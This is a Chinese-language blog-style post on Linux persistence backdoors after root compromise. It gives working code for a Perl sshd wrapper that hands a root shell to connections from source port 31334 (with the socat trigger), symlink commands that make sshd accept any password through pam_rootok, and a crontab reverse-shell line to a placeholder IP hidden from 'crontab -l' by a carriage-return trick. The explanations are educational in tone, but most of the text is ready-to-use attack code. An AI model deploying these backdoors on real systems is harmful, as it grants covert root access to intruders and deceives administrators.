sshd后门

sshd后门应该是比较老的一种后门维持方式了,简单来说需要的条件是目标机上需要装有perl环境以及root权限

在获取root权限后,首先cp /usr/sbin/sshd /usr/bin/sshd保存一份真的sshd文件

之后在sbin目录下新建一个sshd文件,并在里面写入:

1
2
3
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

代码的解释:

1
2
3
第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket  (一般只有攻击者指定连接的源端口才能触发这一行的执行)

第二行 启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象)

之后保存文件,并chmod +x sshd

重启sshd服务service sshd restart

之后想要连接时只需要使用socat,执行以下语句即可:

1
socat STDIO TCP4:192.168.0.7:22,sourceport=31334

语句代表的意思为在本机的标准输入输出与远端的192.168.0.7:22建立pipe以此来传输数据

而在连接建立的时候,目标机会首先启动sshd来处理连接,此时由于标准输入还未被重定向至socat建立的socket,故而此时脚本第一句执行失败,直接去执行了真正的sshd文件,然后sshd文件被执行后会fork一个子进程来处理传入的连接,与其他的程序fork子进程不一样,sshd fork子进程后,子进程会再次执行sshd(重点),故而控制权又回到了我们的伪造sshd的手上,而此时此子进程的标准输入输出已经被重定向至socat建立的socket,故而正则表达式匹配正确,目标及执行/bin/sh并返回一个root权限的shell

如下图:

sshd

ssh pam任意密码后门

同样也是很常见的后门了,基于以下语句实现:

1
2
3
4
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1337
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=1337
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=1337
ln -sf /usr/sbin/sshd /tmp/runuser;/tmp/runuser -oPort=1337

在root权限下执行以上语句,就可以输入任意密码登陆任意用户

anypass

这里我随便输入了一个密码,就可以登录root用户

很奇怪,不是么?那么这是为什么呢?

首先就是sshd默认支持pam认证登录,而登录时,系统选择的pam文件名将是启动的程序文件名,就比如我们使用/tmp/su来启动sshd,那么在pam认证时,将会使用/etc/pam.d/su来作为认证文件

此外,在/etc/pam.d/su中,有一句auth sufficient pam_rootok.so,这里要说明一下pam的控制关键字:

pam

也就是说,只要pam_rootok.so模块返回true,则pam认证流程将会直接成功

接着,我们就需要知道如何让pam_rootok.so模块返回true,通过查询相关资料,我们可以知道pam_rootok.so直接判断了当前的uid是否为0

how-pam_rootok-work

如果你再去看看pam_rootok.so的源码,你会发现它使用了getuid()来判断uid

而getuid()的解释原文getuid() returns the real userID of the calling process

这下就很清晰了,为何我们能够通过pam_rootok.so的认证,是由于调用这个模块的进程是/usr/sbin/sshd,并且这个进程是以root权限运行的,此时getuid()将返回0,这样就保证了不管输入什么密码,pam_rootok.so都会认证成功,从而向sshd进程返回success,通过认证阶段

从以上的分析,可以发现实现这样的trick,是需要一些条件的

  1. /etc/ssh/sshd_config中必须为UsePAM yes,即允许pam认证(默认)
  2. ssh必须允许root用户远程登录(如果不允许root远程登录,也可用其他的已存在用户)
  3. 调用的pam模块必须包含auth sufficient pam_rootok.so,而符合条件的模块除了su,还有chsh,chfn,runuser
  4. 创建的软链接文件的文件名必须是pam模块名,不可随意起名,因为选择模块即是基于文件名选择

crontab后门

这个怕是老生常谈了,基本上每一个管理员在意识到中毒后都会执行crontab -l查看一下定时任务

当然,这里不会只是简单写入定时任务,这没有任何意义

实际上,我们可以借助一些trick来隐藏crontab -l的输出,从而欺骗管理员

例如,执行如下语句

1
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/xxx.xxx.xxx.xxx/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

此时管理员如果执行crontab -l,将会发现没有任何异常

crontab

可以看到,如果用vim打开对应的计划任务文件,可以清晰看见恶意的任务,但是,当管理员执行crontab -l时,却只能看见no crontab for xxx

那么这是为啥呢?

原理在于,crontab -l实际上是使用了cat命令,但是cat命令默认将会解析\r,而\r的意思是回到行首,在payload中,我们又用了%100c创建了100个空字符“覆盖”了恶意的payload,所以在crontab -l时,无法看到被“覆盖”的恶意payload,从而达到了隐藏的效果

各类rootkit

linux rootkit算是最好用的也最强大的后门,github上有不少大师傅也开源了不少rootkit,我自己也在研究中,想自己写一个rootkit XD

写完后再添加link hh